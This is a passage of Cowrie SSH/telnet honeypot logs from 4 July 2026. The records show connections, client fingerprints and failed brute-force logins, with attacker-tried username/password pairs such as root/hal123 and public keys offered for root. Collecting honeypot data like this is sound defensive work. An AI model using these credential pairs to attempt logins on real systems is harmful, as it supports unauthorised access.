16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:48.210911Z","src_ip":"143.20.185.207","session":"ed3ea9b3cc5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ8VCPU16GBAMD","message":"login attempt [root/XYZZ8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:48.592080Z","src_ip":"143.20.185.207","session":"ed3ea9b3cc5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.47.171","src_port":37770,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c65202296f2","protocol":"ssh","message":"New connection: 102.223.47.171:37770 (10.17.0.5:22) [session: 8c65202296f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:49.443541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:49.447337Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:49.674375Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:49.714746Z","src_ip":"143.20.185.207","session":"ed3ea9b3cc5c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:45:16:6a:bc:d7:b7:5e:19:90:18:78:e6:ad:f7:db","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII3OeLQ97MrUa/n7cmqh+F74j7cycYyzIxJoiZ2wITrD","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e1:45:16:6a:bc:d7:b7:5e:19:90:18:78:e6:ad:f7:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:50.778203Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:45:16:6a:bc:d7:b7:5e:19:90:18:78:e6:ad:f7:db","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII3OeLQ97MrUa/n7cmqh+F74j7cycYyzIxJoiZ2wITrD","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:50.781261Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:53:95:c0:b8:1d:83:e8:14:ac:4b:fd:f5:47:70:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu9vq3h/ZJ1/fx6WRVRJDrdPqNJITsHPdqOB3GrfAZKMaPSqCHArFRZuEIUEHI5PF72vExicCNjJ8/LeRS/IHxksDix7W6v0hbThV4RLKjEq7ENup6WHfuJVqdUw2bNzcQfPa790ZRUSzVKv71JXt9NFYKCv5/5RnxPYMKVM8YCELWUSTxAlrJ8xk3J+5NU1PqJVt2D9GUgviFBigLOAVCeEfBZg0mo8n/mduCgZz6PCsqGmvcM34QPIl3qzKM+6hoQb+LKVpUmTqAvbC+nqWayaB8TDSP8/KhuRcGDvL6oWy0mnGs1g21QNaq3OooJT+jGatR8etxYUSOi5n+XXG2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:53:95:c0:b8:1d:83:e8:14:ac:4b:fd:f5:47:70:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:51.010164Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:53:95:c0:b8:1d:83:e8:14:ac:4b:fd:f5:47:70:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu9vq3h/ZJ1/fx6WRVRJDrdPqNJITsHPdqOB3GrfAZKMaPSqCHArFRZuEIUEHI5PF72vExicCNjJ8/LeRS/IHxksDix7W6v0hbThV4RLKjEq7ENup6WHfuJVqdUw2bNzcQfPa790ZRUSzVKv71JXt9NFYKCv5/5RnxPYMKVM8YCELWUSTxAlrJ8xk3J+5NU1PqJVt2D9GUgviFBigLOAVCeEfBZg0mo8n/mduCgZz6PCsqGmvcM34QPIl3qzKM+6hoQb+LKVpUmTqAvbC+nqWayaB8TDSP8/KhuRcGDvL6oWy0mnGs1g21QNaq3OooJT+jGatR8etxYUSOi5n+XXG2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:51.012886Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:b2:79:51:85:07:50:85:08:0a:93:f5:0e:cf:36:4b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKeq66CrGy/7NtE54AnlUoceyTTW+PZppJO/0hgIl1OeYjr2qPkASYGLEWMoeHFbjPZnHBhorB/uaBDeqqlyxarRFxCETiMIw+asVspK4rysPSOS3IStatkBeXiNBm73Jf29u9WR59QyWZc1EQhwhaK6Hj8QC/W9KxdXquXWMxPRAAAAFQC34/wyH5JPF2yeX4yg79/vKJ2Q2QAAAIEAhSo4G2Ghg0OGpq9VnRcDuFO1h5f2K/5bJj02w8yjW597D8cnaYgE9rmLCnh6rNi3bIUQDAYThk5DBJxi5jd4y4oq4mNrL/BALhitqSsIRK554BtpJCtgLBiXWVNN2p1WlcE3F2h9VjHxsR6YcDIs9uHjjDjwGhW6gfJArTNwdVAAAACAcTHWXjxZdpOuhWSGxkrXktbvro2bUHMIYxVPgKociU1JzllU4LkxEzzF/XhQHCUVhBEBbnB9J2GAB0dpwMF30siuaic4qvFyl6PcJmY6bHj73v9OLRZ6Ekz+sy2UlklBYL6tD8wfkhzgexHxzAjosPpZSnv7AfGQ6CU5W/lukOY=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 49:b2:79:51:85:07:50:85:08:0a:93:f5:0e:cf:36:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:51.237311Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:b2:79:51:85:07:50:85:08:0a:93:f5:0e:cf:36:4b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKeq66CrGy/7NtE54AnlUoceyTTW+PZppJO/0hgIl1OeYjr2qPkASYGLEWMoeHFbjPZnHBhorB/uaBDeqqlyxarRFxCETiMIw+asVspK4rysPSOS3IStatkBeXiNBm73Jf29u9WR59QyWZc1EQhwhaK6Hj8QC/W9KxdXquXWMxPRAAAAFQC34/wyH5JPF2yeX4yg79/vKJ2Q2QAAAIEAhSo4G2Ghg0OGpq9VnRcDuFO1h5f2K/5bJj02w8yjW597D8cnaYgE9rmLCnh6rNi3bIUQDAYThk5DBJxi5jd4y4oq4mNrL/BALhitqSsIRK554BtpJCtgLBiXWVNN2p1WlcE3F2h9VjHxsR6YcDIs9uHjjDjwGhW6gfJArTNwdVAAAACAcTHWXjxZdpOuhWSGxkrXktbvro2bUHMIYxVPgKociU1JzllU4LkxEzzF/XhQHCUVhBEBbnB9J2GAB0dpwMF30siuaic4qvFyl6PcJmY6bHj73v9OLRZ6Ekz+sy2UlklBYL6tD8wfkhzgexHxzAjosPpZSnv7AfGQ6CU5W/lukOY=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:51.241215Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:8f:42:8b:31:22:18:6f:10:90:b6:78:f8:36:46:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEU6uxcXMU49DbcmxKA2TkP/rcCssZEPz+fsGOHekZmb7p+Ssn7nELlq/bGbdEw06qJ9skUKBx0Wr4vJW/enoGNkl7l1J01P/u1bTLKw3kpsSKNyFjRBQZuphLt1wSAVU/DMf/tjOftH3xaHqbIn1PfZuQ/Kmn7NiRoNRKwUG926wiI9dsGtWiTQa+W/RHbAU57+8khNkgK/tyJbOMJw1F6Sbtd56Z+M6Bk5306dGHAueUatVnPzpNaBy+byfjshbj4ezOUlFaGxIkd3GlVlTZ+6R2weWXWQGGC6WJ3yQZnxxjqlGdEWm0GYj6S6jsOkMPiEM9GYhDlzWSv4DXOiFR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:8f:42:8b:31:22:18:6f:10:90:b6:78:f8:36:46:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:51.466780Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:8f:42:8b:31:22:18:6f:10:90:b6:78:f8:36:46:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEU6uxcXMU49DbcmxKA2TkP/rcCssZEPz+fsGOHekZmb7p+Ssn7nELlq/bGbdEw06qJ9skUKBx0Wr4vJW/enoGNkl7l1J01P/u1bTLKw3kpsSKNyFjRBQZuphLt1wSAVU/DMf/tjOftH3xaHqbIn1PfZuQ/Kmn7NiRoNRKwUG926wiI9dsGtWiTQa+W/RHbAU57+8khNkgK/tyJbOMJw1F6Sbtd56Z+M6Bk5306dGHAueUatVnPzpNaBy+byfjshbj4ezOUlFaGxIkd3GlVlTZ+6R2weWXWQGGC6WJ3yQZnxxjqlGdEWm0GYj6S6jsOkMPiEM9GYhDlzWSv4DXOiFR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:51.469781Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:b2:e3:ab:1a:30:ea:e7:cc:c1:7f:e2:65:92:63:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9Sxxf+WjYtbLI2/HsjUcLJ+K/JbQwb+Nw7lR3Et1zYD20DyeFMpbWL3QtwTWXN0tafT02mRBP1bX1vVEOU/NO3gsyyud4LF+Zi9FVoZQRggk2Pr/Hxpmuq7hzQOWpORTqC8yWKu/IOrvDF2BQ/wDXLxL0T4V0Vl2/HNpP8rOrzyR4vR6+zwbrNushQbrKU8rGR7TYn/m71wVwsMlJg8spFT9oI55//MM9LRKbvspKTtgiMXGzo0sC3++5WsZutf/jQTsQTcRHCN+AdxBNXkl4dt7xDtvFzN79BKCAlMmGgYODSosvC4baaDWhKlFZttqk0fdlGlVmrx3lA4lqG/hl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:b2:e3:ab:1a:30:ea:e7:cc:c1:7f:e2:65:92:63:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:51.693692Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:b2:e3:ab:1a:30:ea:e7:cc:c1:7f:e2:65:92:63:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9Sxxf+WjYtbLI2/HsjUcLJ+K/JbQwb+Nw7lR3Et1zYD20DyeFMpbWL3QtwTWXN0tafT02mRBP1bX1vVEOU/NO3gsyyud4LF+Zi9FVoZQRggk2Pr/Hxpmuq7hzQOWpORTqC8yWKu/IOrvDF2BQ/wDXLxL0T4V0Vl2/HNpP8rOrzyR4vR6+zwbrNushQbrKU8rGR7TYn/m71wVwsMlJg8spFT9oI55//MM9LRKbvspKTtgiMXGzo0sC3++5WsZutf/jQTsQTcRHCN+AdxBNXkl4dt7xDtvFzN79BKCAlMmGgYODSosvC4baaDWhKlFZttqk0fdlGlVmrx3lA4lqG/hl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:51.696276Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:51.923897Z","src_ip":"102.223.47.171","session":"8c65202296f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.4647114276886,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:53.997577Z","src_ip":"170.64.224.25","session":"fe1295a1d2ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.299009561538696,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:58.198740Z","src_ip":"170.64.224.25","session":"7b6ec16f003d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32930636405945,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:54:58.266828Z","src_ip":"170.64.224.25","session":"1eecbbfea1cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":43968,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8066db40f63","protocol":"ssh","message":"New connection: 213.202.230.81:43968 (10.17.0.5:22) [session: d8066db40f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:10.408743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:10.413551Z","src_ip":"213.202.230.81","session":"d8066db40f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:10.503384Z","src_ip":"213.202.230.81","session":"d8066db40f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"copaywallet","password":"copay123","message":"login attempt [copaywallet/copay123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:10.769647Z","src_ip":"213.202.230.81","session":"d8066db40f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45976,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d47de285e21","protocol":"telnet","message":"New connection: 170.64.224.25:45976 (159.203.135.109:23) [session: 2d47de285e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:11.300383Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:11.860476Z","src_ip":"213.202.230.81","session":"d8066db40f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":55230,"dst_ip":"159.203.135.109","dst_port":22,"session":"22540fa37354","protocol":"ssh","message":"New connection: 223.17.1.118:55230 (159.203.135.109:22) [session: 22540fa37354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:15.505315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:15.522283Z","src_ip":"223.17.1.118","session":"22540fa37354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":40680,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c14e40a3cbb","protocol":"ssh","message":"New connection: 162.144.249.8:40680 (159.203.135.109:22) [session: 1c14e40a3cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:15.586293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:15.591091Z","src_ip":"162.144.249.8","session":"1c14e40a3cbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:15.619067Z","src_ip":"162.144.249.8","session":"1c14e40a3cbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hal123","message":"login attempt [root/hal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:15.707687Z","src_ip":"162.144.249.8","session":"1c14e40a3cbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:15.737754Z","src_ip":"223.17.1.118","session":"22540fa37354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":64167,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f99abe21407","protocol":"ssh","message":"New connection: 223.197.186.7:64167 (10.17.0.5:22) [session: 0f99abe21407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:16.069768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:55:16.074280Z","src_ip":"223.197.186.7","session":"0f99abe21407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 